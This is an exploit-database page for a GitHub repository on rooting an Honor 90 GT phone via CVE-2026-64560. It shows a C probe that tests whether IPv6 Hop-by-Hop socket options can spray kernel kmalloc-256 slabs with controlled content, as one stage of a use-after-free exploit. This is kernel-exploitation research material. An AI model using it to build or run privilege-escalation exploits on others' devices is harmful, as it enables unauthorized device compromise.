Exploit database

GH-e2bb33f25c5dfe2d640cadf16e3f502b

sangsheng2026/honor-90gt-mag-an00-root-research

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-64560

18 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files13

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

tools/ipv6opt_probe.c

C · 4,224 bytes
/*
 * Is setsockopt(IPV6_HOPOPTS) an accessible order-1 slab spray with controlled
 * content?
 *
 * The stage-0 reclaim needs an allocation from an order-1 (8 KiB) slab so a
 * freed posix_timers_cache page can be reused as one of its slabs.  Every
 * classic primitive is unavailable here: SysV IPC is compiled out, POSIX
 * mqueues are absent from bionic, keyctl returns EACCES, f2fs stores xattrs
 * inline, and /dev/ashmem is denied by SELinux.
 *
 * ipv6_renew_options() is the remaining candidate: it does
 *     opt = sock_kmalloc(sk, sizeof(struct ipv6_txoptions) + optlen, GFP_KERNEL)
 * and copies our option bytes in, then keeps them on the socket as sticky
 * options.  If sizeof(txoptions) + optlen lands in (192,256] the object is a
 * kmalloc-256 object, whose slabs are order-1 (32 x 256 = 8192 = 2 pages).
 *
 * This probe creates N IPv6 sockets, sets a well-formed Hop-by-Hop header of a
 * chosen length on each, and reports errno plus kmalloc-256/512 slab deltas.
 *
 * Usage: ipv6opt_probe [sockets] [opt_bytes]
 */
#define _GNU_SOURCE
#include <errno.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>

#ifndef IPV6_HOPOPTS
#define IPV6_HOPOPTS 54
#endif

static int read_slab(const char *name, long *slabs)
{
    char line[512];
    FILE *fp = fopen("/proc/slabinfo", "re");
    size_t n = strlen(name);

    *slabs = -1;
    if (!fp)
        return -1;
    while (fgets(line, sizeof(line), fp)) {
        if (!strncmp(line, name, n) && (line[n] == ' ' || line[n] == '\t')) {
            long a, t, os, ops, pps, as, ns, sa;

            if (sscanf(line + n, " %ld %ld %ld %ld %ld : tunables %*d %*d %*d "
                                ": slabdata %ld %ld %ld",
                       &a, &t, &os, &ops, &pps, &as, &ns, &sa) >= 8)
                *slabs = as;
            break;
        }
    }
    fclose(fp);
    return 0;
}

static void show(const char *tag)
{
    long k256, k512, k128;

    read_slab("kmalloc-256", &k256);
    read_slab("kmalloc-512", &k512);
    read_slab("kmalloc-128", &k128);
    printf("%-10s kmalloc-128 slabs=%-5ld kmalloc-256 slabs=%-5ld kmalloc-512 slabs=%ld\n",
           tag, k128, k256, k512);
}

int main(int argc, char **argv)
{
    int nsock = argc > 1 ? atoi(argv[1]) : 500;
    int optlen = argc > 2 ? atoi(argv[2]) : 180;
    static int fds[40000];
    unsigned char *opt;
    int ok = 0, err = 0, first_sock_errno = 0;

    setvbuf(stdout, NULL, _IOLBF, 0);
    if (nsock > (int)(sizeof(fds) / sizeof(fds[0])))
        nsock = (int)(sizeof(fds) / sizeof(fds[0]));
    if (optlen < 8)
        optlen = 8;
    if (optlen > 2040)
        optlen = 2040;

    opt = calloc(1, (size_t)optlen);
    if (!opt)
        return 1;
    /* A well-formed Hop-by-Hop header: next header = 59 (no next header),
     * hdr ext len = (optlen/8)-1, then PadN options filling the rest.  The
     * kernel validates this shape (ipv6_parse_hopopts), so it cannot be
     * arbitrary bytes -- but everything after the 2-byte header is ours. */
    opt[0] = 59;
    opt[1] = (unsigned char)(optlen / 8 - 1);
    for (int i = 2; i + 1 < optlen;) {
        int pad = optlen - i - 2;

        if (pad <= 0)
            break;
        if (pad == 1) {
            opt[i] = 0;      /* Pad1 */
            i += 1;
        } else {
            opt[i] = 1;      /* PadN */
            opt[i + 1] = (unsigned char)(pad - 2);
            i += 2 + (pad - 2);
        }
    }

    printf("IPV6OPT_PROBE sockets=%d opt_bytes=%d  (txoptions hdr ~48B)\n",
           nsock, optlen);
    show("baseline");

    for (int i = 0; i < nsock; i++) {
        int fd = socket(AF_INET6, SOCK_DGRAM, 0);

        if (fd < 0) {
            first_sock_errno = errno;
            break;
        }
        if (setsockopt(fd, IPPROTO_IPV6, IPV6_HOPOPTS, opt, (socklen_t)optlen)) {
            err = errno;
            close(fd);
            break;
        }
        fds[ok++] = fd;
    }

    show("after");
    printf("RESULT sockets_with_opts=%d socket_errno=%d setsockopt_errno=%d (%s)\n",
           ok, first_sock_errno, err, err ? strerror(err) : "none");

    printf("IPV6OPT_PROBE_DONE (fds kept open)\n");
    return 0;
}